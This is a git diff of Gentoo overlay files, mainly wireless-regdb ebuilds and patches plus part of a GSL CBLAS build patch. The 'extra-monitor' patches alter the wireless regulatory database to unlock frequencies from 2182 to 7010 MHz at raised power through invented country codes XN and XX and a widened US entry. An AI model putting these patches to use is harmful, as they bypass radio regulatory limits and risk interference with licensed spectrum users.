1498ca1c83692114a1d0ec0ad7c2bbafed34e5ed SHA1 09bf32b8e6bae577f150c1f14d49aabff1324e4b SHA256 06d1670201529a7a19d2c6c45fe66484cc02cba66fae27156f6806ce81e5944e +EBUILD wireless-regdb-20091125.ebuild 1047 RMD160 3743bae6a7f8e2b34ca3f5d14f14bf7a9d29859b SHA1 31e45b23b1f41c24ad921505141e673a0cf201b9 SHA256 a237766fe331196ba58fe29ba332495f2924f3e16724430f9d023f2f298e6b81 diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch new file mode 100644 index 00000000..9f06e473 --- /dev/null +++ b/net-wireless/wireless-regdb/files/extra-monitor-20090817.patch @@ -0,0 +1,51 @@ +diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt +--- wireless-regdb-2009.08.17-orig/db.txt 2009-08-17 09:25:16.000000000 -0400 ++++ wireless-regdb-2009.08.17/db.txt 2009-09-07 20:44:51.000000000 -0400 +@@ -579,6 +579,13 @@ + country VN: + (2402 - 2482 @ 40), (N/A, 20) + ++country XN: ++ (2182 - 7010 @ 40), (N/A, 40) ++ ++country XX: ++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS ++ ++ + country YE: + (2402 - 2482 @ 40), (N/A, 20) + +diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile +--- wireless-regdb-2009.08.17-orig/Makefile 2009-08-17 09:25:16.000000000 -0400 ++++ wireless-regdb-2009.08.17/Makefile 2009-09-07 20:45:53.000000000 -0400 +@@ -18,8 +18,8 @@ + echo custom-distro; \ + fi) + +-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem +-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem ++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem ++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem + + REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \ + echo $(LSB_ID) ; \ +@@ -29,7 +29,7 @@ + echo custom-user; \ + fi) + +-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem ++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem + REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem + + REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem +@@ -91,8 +91,8 @@ + # Distributions packagers should do only once: + # make install-distro-key + # This will create a private key for you and install it into +-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem +-# To make new releaes just do: ++# wireless-regdb-$(LSB_ID).key.priv.pem ++# To make new releases just do: + # make maintainer-clean + # make + # sudo make install diff --git a/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch new file mode 100644 index 00000000..9f06e473 --- /dev/null +++ b/net-wireless/wireless-regdb/files/extra-monitor-20091125.patch @@ -0,0 +1,51 @@ +diff -Naur wireless-regdb-2009.08.17-orig/db.txt wireless-regdb-2009.08.17/db.txt +--- wireless-regdb-2009.08.17-orig/db.txt 2009-08-17 09:25:16.000000000 -0400 ++++ wireless-regdb-2009.08.17/db.txt 2009-09-07 20:44:51.000000000 -0400 +@@ -579,6 +579,13 @@ + country VN: + (2402 - 2482 @ 40), (N/A, 20) + ++country XN: ++ (2182 - 7010 @ 40), (N/A, 40) ++ ++country XX: ++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS ++ ++ + country YE: + (2402 - 2482 @ 40), (N/A, 20) + +diff -Naur wireless-regdb-2009.08.17-orig/Makefile wireless-regdb-2009.08.17/Makefile +--- wireless-regdb-2009.08.17-orig/Makefile 2009-08-17 09:25:16.000000000 -0400 ++++ wireless-regdb-2009.08.17/Makefile 2009-09-07 20:45:53.000000000 -0400 +@@ -18,8 +18,8 @@ + echo custom-distro; \ + fi) + +-DISTRO_PRIVKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem +-DISTRO_PUBKEY ?= ~/.wireless-regdb-$(LSB_ID).key.priv.pem ++DISTRO_PRIVKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem ++DISTRO_PUBKEY ?= wireless-regdb-$(LSB_ID).key.priv.pem + + REGDB_AUTHOR ?= $(shell if [ -f $(DISTRO_PRIVKEY) ]; then \ + echo $(LSB_ID) ; \ +@@ -29,7 +29,7 @@ + echo custom-user; \ + fi) + +-REGDB_PRIVKEY ?= ~/.wireless-regdb-$(REGDB_AUTHOR).key.priv.pem ++REGDB_PRIVKEY ?= wireless-regdb-$(REGDB_AUTHOR).key.priv.pem + REGDB_PUBKEY ?= $(REGDB_AUTHOR).key.pub.pem + + REGDB_UPSTREAM_PUBKEY ?= linville.key.pub.pem +@@ -91,8 +91,8 @@ + # Distributions packagers should do only once: + # make install-distro-key + # This will create a private key for you and install it into +-# ~/.wireless-regdb-$(LSB_ID).key.priv.pem +-# To make new releaes just do: ++# wireless-regdb-$(LSB_ID).key.priv.pem ++# To make new releases just do: + # make maintainer-clean + # make + # sudo make install diff --git a/net-wireless/wireless-regdb/files/extra-monitor-debug.patch b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch new file mode 100644 index 00000000..bb20f867 --- /dev/null +++ b/net-wireless/wireless-regdb/files/extra-monitor-debug.patch @@ -0,0 +1,34 @@ +diff -Naur wireless-regdb-2009.03.09-orig/db.txt wireless-regdb-2009.03.09/db.txt +--- wireless-regdb-2009.03.09-orig/db.txt 2009-03-12 09:53:34.000000000 -0400 ++++ wireless-regdb-2009.03.09/db.txt 2009-03-12 10:27:39.000000000 -0400 +@@ -551,11 +551,16 @@ + (2402 - 2482 @ 40), (N/A, 20) + + country US: +- (2402 - 2472 @ 40), (3, 27) ++ (2182 - 2402 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS ++ (2402 - 2472 @ 40), (6, 30) ++ (2472 - 3500 @ 40), (6, 30), PASSIVE-SCAN, NO-IBSS ++ (3500 - 5170 @ 40), (3, 17), PASSIVE-SCAN, NO-IBSS + (5170 - 5250 @ 40), (3, 17) + (5250 - 5330 @ 40), (3, 20), DFS ++ (5330 - 5490 @ 40), (3, 20), PASSIVE-SCAN, NO-IBSS + (5490 - 5710 @ 40), (3, 20), DFS + (5735 - 5835 @ 40), (3, 30) ++ (5835 - 7010 @ 40), (3, 30), PASSIVE-SCAN, NO-IBSS + + country UY: + (2402 - 2482 @ 40), (N/A, 20) +@@ -575,6 +580,12 @@ + country VN: + (2402 - 2482 @ 40), (N/A, 20) + ++country XN: ++ (2182 - 7010 @ 40), (N/A, 40) ++ ++country XX: ++ (2182 - 7010 @ 40), (N/A, 30), PASSIVE-SCAN, NO-IBSS ++ + country YE: + (2402 - 2482 @ 40), (N/A, 20) + diff --git a/net-wireless/wireless-regdb/files/extra-monitor.patch b/net-wireless/wireless-regdb/files/extra-monitor.patch new file mode 100644 index 00000000..b026a2f1 --- /dev/null +++ b/net-wireless/wireless-regdb/files/extra-monitor.patch @@ -0,0 +1,19 @@ +diff -Naur wireless-regdb-2009.01.30/db.txt wireless-regdb-2009.01.30-zc/db.txt +--- wireless-regdb-2009.01.30/db.txt 2009-02-10 15:54:30.000000000 -0500 ++++ wireless-regdb-2009.01.30-zc/db.txt 2009-02-10 15:56:59.000000000 -0500 +@@ -540,11 +540,15 @@ + (2402 - 2482 @ 40), (N/A, 20) + + country US: ++ (2182 - 2402 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS + (2402 - 2472 @ 40), (3, 27) ++ (2472 - 5170 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS + (5170 - 5250 @ 40), (3, 17) + (5250 - 5330 @ 40), (3, 20), DFS ++ (5330 - 5490 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS + (5490 - 5710 @ 40), (3, 20), DFS + (5735 - 5835 @ 40), (3, 30) ++ (5835 - 7000 @ 40), (N/A, 0), PASSIVE-SCAN, NO-IBSS + + country UY: + (2402 - 2482 @ 40), (N/A, 20) diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild new file mode 100644 index 00000000..6b5e521b --- /dev/null +++ b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $ + +MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}" +DESCRIPTION="Binary regulatory database for CRDA" +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +inherit eutils + +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/openssl + dev-lang/python + dev-python/m2crypto" +#RDEPEND="${DEPEND}" It doesn't actually have runtime deps afaik +S="${WORKDIR}/${MY_P}" + +src_unpack() { + unpack ${A} + cd "${S}" + epatch "${FILESDIR}"/extra-monitor.patch + emake maintainer-clean || die "make maintainer-clean failed" +} + +src_compile() { + emake key.priv.pem || die "make key.priv.pem failed" + emake || die "emake failed" +} + +src_install() { + insinto /usr/lib/crda/ + doins regulatory.bin + doins key.pub.pem +} diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild new file mode 100644 index 00000000..e5b84e8a --- /dev/null +++ b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $ + +MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}" +DESCRIPTION="Binary regulatory database for CRDA" +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +inherit eutils + +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/openssl + dev-lang/python + dev-python/m2crypto" + +S="${WORKDIR}/${MY_P}" + +src_unpack() { + unpack ${A} + cd "${S}" + epatch "${FILESDIR}"/extra-monitor-debug.patch + emake maintainer-clean || die "make maintainer-clean failed" +} + +src_compile() { + emake key.priv.pem || die "make key.priv.pem failed" + emake || die "emake failed" +} + +src_install() { + insinto /usr/lib/crda/ + doins regulatory.bin + doins key.pub.pem +} diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild new file mode 100644 index 00000000..867166e0 --- /dev/null +++ b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild @@ -0,0 +1,37 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $ + +MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}" +DESCRIPTION="Binary regulatory database for CRDA" +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +inherit eutils + +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/openssl + dev-lang/python + dev-python/m2crypto" + +S="${WORKDIR}/${MY_P}" + +src_unpack() { + unpack ${A} + cd "${S}" + epatch "${FILESDIR}"/extra-monitor-${PV}.patch +} + +src_compile() { + emake install-distro-key || die "make install-distro-key failed" + emake || die "emake failed" +} + +src_install() { + insinto /usr/lib/crda/ + doins regulatory.bin + doins custom-distro.key.pub.pem +} diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild new file mode 100644 index 00000000..c8060c71 --- /dev/null +++ b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $ + +MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}" +DESCRIPTION="Binary regulatory database for CRDA" +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +inherit eutils + +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/openssl + dev-lang/python + dev-python/m2crypto" + +S="${WORKDIR}/${MY_P}" + +src_unpack() { + unpack ${A} + cd "${S}" + epatch "${FILESDIR}"/extra-monitor-${PV}.patch +} + +#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps + +src_compile() { + emake install-distro-key || die "make install-distro-key failed" + emake || die "emake failed" +} + +src_install() { + insinto /usr/$(get_libdir)/crda/ + doins regulatory.bin + doins *.key.pub.pem +} diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild new file mode 100644 index 00000000..9d8166d6 --- /dev/null +++ b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $ + +MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}" +DESCRIPTION="Binary regulatory database for CRDA" +HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory" +SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2" +LICENSE="as-is" +SLOT="0" + +inherit eutils + +KEYWORDS="amd64 ~ppc ~ppc64 x86" +IUSE="" +DEPEND="dev-libs/openssl + dev-lang/python + dev-python/m2crypto" + +S="${WORKDIR}/${MY_P}" + +src_unpack() { + unpack ${A} + cd "${S}" + epatch "${FILESDIR}"/extra-monitor-${PV}.patch +} + +#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps + +src_compile() { + emake install-distro-key || die "make install-distro-key failed" + emake || die "emake failed" +} + +src_install() { + insinto /usr/$(get_libdir)/crda/ + doins regulatory.bin + doins custom-distro.key.pub.pem +} diff --git a/overlay.xml b/overlay.xml new file mode 100644 index 00000000..c9fcd413 --- /dev/null +++ b/overlay.xml @@ -0,0 +1,15 @@ + + + + + rogento + Romanian enterprise oriented overlay of ebuilds + https://github.com/BlackNoxis/Rogento + + stefan.cristian at rogentos.ro + Steven Cristian + + git://github.com/BlackNoxis/Rogento.git + https://github.com/BlackNoxis/Rogento/commits/master.atom + + \ No newline at end of file diff --git a/profiles/categories b/profiles/categories new file mode 100644 index 00000000..2c17a14f --- /dev/null +++ b/profiles/categories @@ -0,0 +1,15 @@ +app-admin +app-misc +app-editors +app-emulation +dev-python +games-strategy +games-tycoon +media-gfx +media-video +net-analyzer +net-misc +profiles +x11-drivers +x11-wm +ruby diff --git a/profiles/repo_name b/profiles/repo_name new file mode 100644 index 00000000..68fe01d0 --- /dev/null +++ b/profiles/repo_name @@ -0,0 +1 @@ +rogento diff --git a/repository.xml b/repository.xml new file mode 100644 index 00000000..e9c433be --- /dev/null +++ b/repository.xml @@ -0,0 +1,19 @@ + + +rogento +experimental romanian enterprise-oriented ebuilds + +https://github.com/BlackNoxis/Rogento/wiki/ + + +stefan.cristian@best.eu.org +Steven Cristian + +git://github.com/BlackNoxis/Rogento.git + +https://BlackNoxis@github.com/BlackNoxis/Rogento.git + + + + + \ No newline at end of file diff --git a/sci-libs/gsl-empty/Manifest b/sci-libs/gsl-empty/Manifest new file mode 100644 index 00000000..c29d31be --- /dev/null +++ b/sci-libs/gsl-empty/Manifest @@ -0,0 +1,6 @@ +AUX cblas.pc.in 290 SHA256 f47133de2f49a5ff53c8e295d03fbe8923c79cd0978cedb903cfdf7e57a873a1 SHA512 2a1dc22097e2a50fd4a797c446b32202b74e9d754c8b61c51a3789c3eb42372adcc7fb25901c468d604cc4e7961d7f11e0e5883179894047948e46879fc04719 WHIRLPOOL f8e93aa2c61d3ac08664c3162f0e754c1d6cefca0a4d4ab8ee8f763e6ec46049ff5537c7f9266200856b58ffab88fb9af115eb4be32deb99ed6d2005abcb13ec +AUX eselect.cblas.gsl 216 SHA256 2be1ba93a0bafa73df52913f54d1c7fd299aa1cd0a98c5fbe4eac894073ebac7 SHA512 e5cd92f4e9829538642a0fed54fdf75bc579c8c20769997ec5a3ce0287993476e68fbeefec8e46162d05ea908d2e79187c15ebdd00f6558ecbd25de21ece64dc WHIRLPOOL 1a0591e670a1ca51fa6cc4b2883931a49f3da59c2c673d786f6acdb72b50b7fee22ee30f2d3c6ac864c149381c23ca5c41ba586f159830cdeff97b86cf6a03f3 +AUX gsl-1.15-cblas.patch 17217 SHA256 1d69dd2d1b37abd541b86fed2b28e9f63e947f92f1b85af1c2f83074b12a8491 SHA512 fd099610b612b44a8b8ab8efd6350894fe7df46c94cf20e9d4377360c4cc31b11a8d9e18f6db6db9d8f4b7098b1d1569167ddb29e30396c656e381d25c1ec852 WHIRLPOOL 4794cfb018f50e59e11eb60bf11d348a7131360d757868aa9f08e75f432ee786d82143cdb3743ce3a526649cc2877b45dbe14eb49464cea9f23add0db87638b5 +DIST gsl-1.15.tar.gz 3281134 SHA256 85b907e57902e2b7606ef3aef960302ffdd13bd9dc5b8fcbfa75e4f0bf340ea3 SHA512 dcea557bcd34d4ee6d2c52741c2f95702e5e6110a99f033b412489b1930d21a40ead29392f754656375801d706df01199878263e856ca3081f9a514dc3299185 WHIRLPOOL 06ffffb83ea56cf6306878063770a117e096352dda3c3dd4a7526153bc770969f61e38fa08c02ec01335bd812581db15e4e5164a7da2363741179268cb393478 +EBUILD gsl-empty-1.15.ebuild 3122 SHA256 3100d494786e24d135222d1767898ae03f0410b7289417f22e34df75aed6b86a SHA512 b45bb46c406b9081258fe6a73b309bc9bf626775047ac8598b893d4de82ce0079df8ecb76b10800b1d548500afdae409f796e415b02da46372ce33a3d19cbfe7 WHIRLPOOL 7a33b3e6dfef930bf57dcb8286315b5ce7a55017b3e881387c30c0fbfa168009c97eccaa4bf1d16e27e3d241a13992d1105255d204dcee3917af993e7e9a91ca +MISC metadata.xml 1026 SHA256 6df14f9543ae80840437ac04fca5f5b4ca052a722c5146b015eeb26b1c11f1f4 SHA512 02751504e7a1563ca2008426536d03c8d5f00272519f73dccbe4df8f93fa26132fa57eee085cee9e1ce68e396893ef602283d8cd6722ba2f27bb322b8c201951 WHIRLPOOL fcbfd38fc5d1bafc3d3e08d0031b401fd5d67f1dcc1318c9ef57fa443d8998c6f9975d4f9a2b08e1d10e5e0e557511508193fd9742dc6e415067ccd723f740d8 diff --git a/sci-libs/gsl-empty/files/cblas.pc.in b/sci-libs/gsl-empty/files/cblas.pc.in new file mode 100644 index 00000000..a2580f85 --- /dev/null +++ b/sci-libs/gsl-empty/files/cblas.pc.in @@ -0,0 +1,12 @@ +prefix=/usr +exec_prefix=${prefix} +libdir=/usr/@LIBDIR@ +includedir=${prefix}/include + +Name: cblas +Description: GSL C Implementation of the Basic Linear Algebra Subprograms +Version: @PV@ +URL: http://www.gnu.org/software/gsl +Libs: -L${libdir} -lcblas +Libs.private: -lm +Cflags: -I${includedir} diff --git a/sci-libs/gsl-empty/files/eselect.cblas.gsl b/sci-libs/gsl-empty/files/eselect.cblas.gsl new file mode 100644 index 00000000..af6fee51 --- /dev/null +++ b/sci-libs/gsl-empty/files/eselect.cblas.gsl @@ -0,0 +1,5 @@ +libgslcblas.so /usr/@LIBDIR@/libcblas.so +libgslcblas.so.0 /usr/@LIBDIR@/libcblas.so.0 +libgslcblas.a /usr/@LIBDIR@/libcblas.a +../blas/gsl/cblas.pc /usr/@LIBDIR@/pkgconfig/cblas.pc +gsl/gsl_cblas.h /usr/include/cblas.h diff --git a/sci-libs/gsl-empty/files/gsl-1.15-cblas.patch b/sci-libs/gsl-empty/files/gsl-1.15-cblas.patch new file mode 100644 index 00000000..dd402f39 --- /dev/null +++ b/sci-libs/gsl-empty/files/gsl-1.15-cblas.patch @@ -0,0 +1,286 @@ +diff -Nur gsl-1.15.orig/acx_cblas.m4 gsl-1.15/acx_cblas.m4 +--- gsl-1.15.orig/acx_cblas.m4 1970-01-01 01:00:00.000000000 +0100 ++++ gsl-1.15/acx_cblas.m4 2011-07-28 22:16:03.000000000 +0100 +@@ -0,0 +1,60 @@ ++AC_DEFUN([ACX_CBLAS],[ ++ use_cblas=no ++ use_cblas_libs="-lcblas -lblas" ++ use_cblas_cflags="" ++ ++ AC_ARG_WITH(cblas, ++ [AS_HELP_STRING([--with-cblas], [use external CBLAS library (default is no)])]) ++ ++ case $with_cblas in ++ yes) use_cblas=yes ;; ++ no | "" ) use_cblas=no ;; ++ -* | */* | *.a | *.so | *.so.* | *.o) use_cblas_libs="$with_cblas" ;; ++ *) use_cblas_libs="-l$with_cblas" ;; ++ esac ++ ++ AC_ARG_WITH(cblas-libs, ++ [AS_HELP_STRING([--with-cblas-libs=], ++ [external cblas libraries to link with (default is "$use_cblas_libs")])], ++ [use_cblas_libs=$withval], []) ++ ++ AC_ARG_WITH(cblas-cflags, ++ [AS_HELP_STRING([--with-cblas-cflags=], ++ [extra cflags to compile with external cblas ("-I")])], ++ [use_cblas_cflags=$withval], []) ++ ++ if test x$use_cblas != xno; then ++ if test "x$CBLAS_LIBS" = x; then ++ CBLAS_LIBS="$use_cblas_libs" ++ fi ++ if test "x$CBLAS_FLAGS" = x; then ++ CBLAS_CFLAGS="$use_cblas_cflags" ++ fi ++ ++ CFLAGS_sav="$CFLAGS" ++ CFLAGS="$CFLAGS $CBLAS_CFLAGS" ++ AC_CHECK_HEADER(cblas.h, , ++ [AC_MSG_ERROR([ ++ *** Header file cblas.h not found. ++ *** If you installed cblas header in a non standard place, ++ *** specify its install prefix using the following option ++ *** --with-cblas-cflags="-I"]) ++ ]) ++ CFLAGS="$CFLAGS_sav" ++ ++ LIBS_sav="$LIBS" ++ LIBS="$LIBS $CBLAS_LIBS -lm" ++ AC_MSG_CHECKING([for cblas_sgemm in $CBLAS_LIBS]) ++ AC_TRY_LINK_FUNC(cblas_sgemm, [use_cblas=yes], ++ [AC_MSG_ERROR([ ++ *** Linking with cblas with $LIBS failed. ++ *** If you installed cblas library in a non standard place, ++ *** specify its install prefix using the following option ++ *** --with-cblas-libs="-L -l"]) ++ ]) ++ AC_MSG_RESULT($use_cblas) ++ LIBS="$LIBS_sav" ++ AC_SUBST(CBLAS_CFLAGS) ++ AC_SUBST(CBLAS_LIBS) ++ fi ++]) +diff -Nur gsl-1.15.orig/bspline/Makefile.am gsl-1.15/bspline/Makefile.am +--- gsl-1.15.orig/bspline/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/bspline/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,6 +12,6 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la ++test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la + + test_SOURCES = test.c +diff -Nur gsl-1.15.orig/configure.ac gsl-1.15/configure.ac +--- gsl-1.15.orig/configure.ac 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/configure.ac 2011-07-28 22:16:03.000000000 +0100 +@@ -190,6 +190,16 @@ + AC_CHECK_LIB(m, cos) + fi + ++sinclude(acx_cblas.m4) ++ACX_CBLAS ++if test "x$CBLAS_LIBS" != "x"; then ++ CBLAS_LINK_LIBS="$CBLAS_LIBS" ++else ++ CBLAS_LINK_LIBS="\$(top_builddir)/cblas/libgslcblas.la" ++ CBLAS_LIBS="-lgslcblas" ++fi ++AC_SUBST(CBLAS_LINK_LIBS) ++ + dnl Remember to put a definition in acconfig.h for each of these + AC_CHECK_DECLS(feenableexcept,,,[#define _GNU_SOURCE 1 + #include ]) +diff -Nur gsl-1.15.orig/eigen/Makefile.am gsl-1.15/eigen/Makefile.am +--- gsl-1.15.orig/eigen/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/eigen/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -11,7 +11,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgsleigen.la ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la ++test_LDADD = libgsleigen.la ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/gsl-config.in gsl-1.15/gsl-config.in +--- gsl-1.15.orig/gsl-config.in 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/gsl-config.in 2011-07-28 22:16:03.000000000 +0100 +@@ -58,11 +58,11 @@ + ;; + + --cflags) +- echo @GSL_CFLAGS@ ++ echo @GSL_CFLAGS@ @CBLAS_CFLAGS@ + ;; + + --libs) +- : ${GSL_CBLAS_LIB=-lgslcblas} ++ : ${GSL_CBLAS_LIB=@CBLAS_LIBS@} + echo @GSL_LIBS@ $GSL_CBLAS_LIB @GSL_LIBM@ + ;; + +diff -Nur gsl-1.15.orig/gsl.pc.in gsl-1.15/gsl.pc.in +--- gsl-1.15.orig/gsl.pc.in 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/gsl.pc.in 2011-07-28 22:20:14.000000000 +0100 +@@ -2,7 +2,7 @@ + exec_prefix=@exec_prefix@ + libdir=@libdir@ + includedir=@includedir@ +-GSL_CBLAS_LIB=-lgslcblas ++GSL_CBLAS_LIB=@CBLAS_LIBS@ + + Name: GSL + Description: GNU Scientific Library +diff -Nur gsl-1.15.orig/interpolation/Makefile.am gsl-1.15/interpolation/Makefile.am +--- gsl-1.15.orig/interpolation/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/interpolation/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -10,7 +10,7 @@ + + TESTS = $(check_PROGRAMS) + +-test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ++test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la + + test_SOURCES = test.c + +diff -Nur gsl-1.15.orig/linalg/Makefile.am gsl-1.15/linalg/Makefile.am +--- gsl-1.15.orig/linalg/Makefile.am 2011-07-28 22:15:49.000000000 +0100 ++++ gsl-1.15/linalg/Makefile.am 2011-07-28 22:16:03.000000000 +0100 +@@ -12,7 +12,7 @@ + + check_PROGRAMS = test + +-test_LDADD = libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la 